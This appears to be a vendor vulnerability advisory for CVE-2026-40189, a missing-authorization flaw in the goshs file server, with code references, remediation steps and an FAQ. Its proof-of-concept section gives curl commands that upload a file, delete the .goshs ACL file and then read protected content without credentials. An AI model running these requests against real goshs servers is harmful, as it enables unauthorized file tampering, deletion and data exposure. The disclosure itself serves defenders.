CVE-2026-40189

goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory. By deleting the .goshs file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability.

Details

The project README explicitly documents file-based ACLs as a security feature:

• README.md:59 - "You can place a .goshs in any folder to apply custom ACLs"
• README.md:61 - "You can apply custom basic auth per folder"

The read/list path correctly enforces .goshs:

• httpserver/filebased.go:10-49 loads .goshs
• httpserver/handler.go:68-91 calls findSpecialFile() for directories
• httpserver/handler.go:94-101 calls findSpecialFile() for files
• httpserver/handler.go:285-305 applies custom auth
• httpserver/handler.go:545-565 enforces folder auth during directory rendering
• httpserver/handler.go:590-630 enforces file auth and blocked entries during file serving

However, the state-changing routes bypass this logic entirely:

• httpserver/server.go:94-100 routes multipart POST /.../upload directly to upload()
• httpserver/server.go:105-109 routes PUT directly to put()
• httpserver/handler.go:119-123 dispatches ?mkdir directly to handleMkdir()
• httpserver/handler.go:181-187 dispatches ?delete directly to deleteFile()
• httpserver/updown.go:18-60 writes files for PUT without checking .goshs
• httpserver/updown.go:63-165 writes files for multipart upload without checking .goshs
• httpserver/handler.go:679-698 deletes files with os.RemoveAll() without checking .goshs
• httpserver/handler.go:901-937 creates directories with os.MkdirAll() without checking .goshs

This is not a path traversal issue. The path remains inside the configured root after sanitization. The vulnerability is that authorization is applied inconsistently: reads are protected, but writes and deletes are not. Because .goshs itself can be deleted through the unauthenticated delete route, the attacker can escalate the impact from unauthorized modification to full removal of the folder's auth barrier.

PoC

Environment used for verification:

• Repository/module: github.com/patrickhener/goshs
• Verified vulnerable tag: v2.0.0-beta.3
• Also present in the v1.1.4 line based on code inspection
• Local host: 127.0.0.1:18091

Build and setup:

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta3'
go build -o /tmp/goshs_acl_verify/goshs ./

rm -rf /tmp/goshs_acl_verify/root
mkdir -p /tmp/goshs_acl_verify/root/protected
cp integration/keepFiles/goshsACLAuth /tmp/goshs_acl_verify/root/protected/.goshs
printf 'top secret\n' > /tmp/goshs_acl_verify/root/protected/secret.txt

/tmp/goshs_acl_verify/goshs -d /tmp/goshs_acl_verify/root -p 18091

In a second terminal:

# The protected folder initially requires auth
curl -s -o /dev/null -w '%{http_code}\n' 'http://127.0.0.1:18091/protected/'

# Unauthenticated write into the protected folder succeeds
curl -s -o /dev/null -w '%{http_code}\n' -X PUT \
  --data-binary 'injected via PUT' \
  'http://127.0.0.1:18091/protected/put-created.txt'

# Unauthenticated deletion of the ACL file succeeds
curl -s -o /dev/null -w '%{http_code}\n' \
  'http://127.0.0.1:18091/protected/.goshs?delete'

# The previously protected file is now publicly accessible
curl -s -o /dev/null -w '%{http_code}\n' \
  'http://127.0.0.1:18091/protected/secret.txt'
curl -s 'http://127.0.0.1:18091/protected/secret.txt'

Expected results:

401
200
200
200
top secret

Note: if using zsh, the URL containing ?delete must be quoted, or the shell will treat ? as a wildcard and the request will not be sent.

PoC Video for reference:

https://github.com/user-attachments/assets/deb9106e-6dfa-47c0-95c1-993c2cbc9ee7

This is an authorization bypass affecting deployments that rely on .goshs for per-folder protection. A remote unauthenticated attacker can:

• create or overwrite files inside a folder that should require authentication
• create directories inside the protected folder
• delete arbitrary files reachable through the vulnerable route inside that protected folder
• delete the .goshs policy file itself
• read previously protected files once the policy file has been removed

In practice, this breaks the security boundary promised by the file-based ACL feature and can expose sensitive files while also allowing unauthorized modification or destruction of protected content.

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

CVE-2026-40189 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. Enforce .goshs authorization checks for all state-changing operations, not just read/list flows. Before PUT, multipart upload, delete, and mkdir, resolve the effective folder ACL and deny the request unless the caller satisfies acl.Auth.
2. Protect .goshs as a special file in mutation handlers. The application already prevents serving .goshs; it should also reject deletion, overwrite, or replacement of .goshs through HTTP routes unless the request is properly authorized.
3. Add regression tests covering protected folders for every mutation path. The test suite should verify that PUT, POST /upload, ?delete, and ?mkdir all fail without valid credentials when a .goshs file is present.

1. What is CVE-2026-40189? CVE-2026-40189 is a critical-severity missing authorization vulnerability in github.com/patrickhener/goshs (go), affecting versions <= 1.1.4. No fixed version is listed yet. The application does not perform an authorization check before performing a sensitive operation.
2. How severe is CVE-2026-40189? CVE-2026-40189 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/patrickhener/goshs are affected by CVE-2026-40189? github.com/patrickhener/goshs (go) versions <= 1.1.4 is affected.
4. Is there a fix for CVE-2026-40189? No fixed version is listed for CVE-2026-40189 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-40189 exploitable, and should I be worried? Whether CVE-2026-40189 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-40189 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-40189? No fixed version is listed yet. In the interim: Keep the dependency up to date. Ensure authorization checks are enforced consistently on all sensitive operations.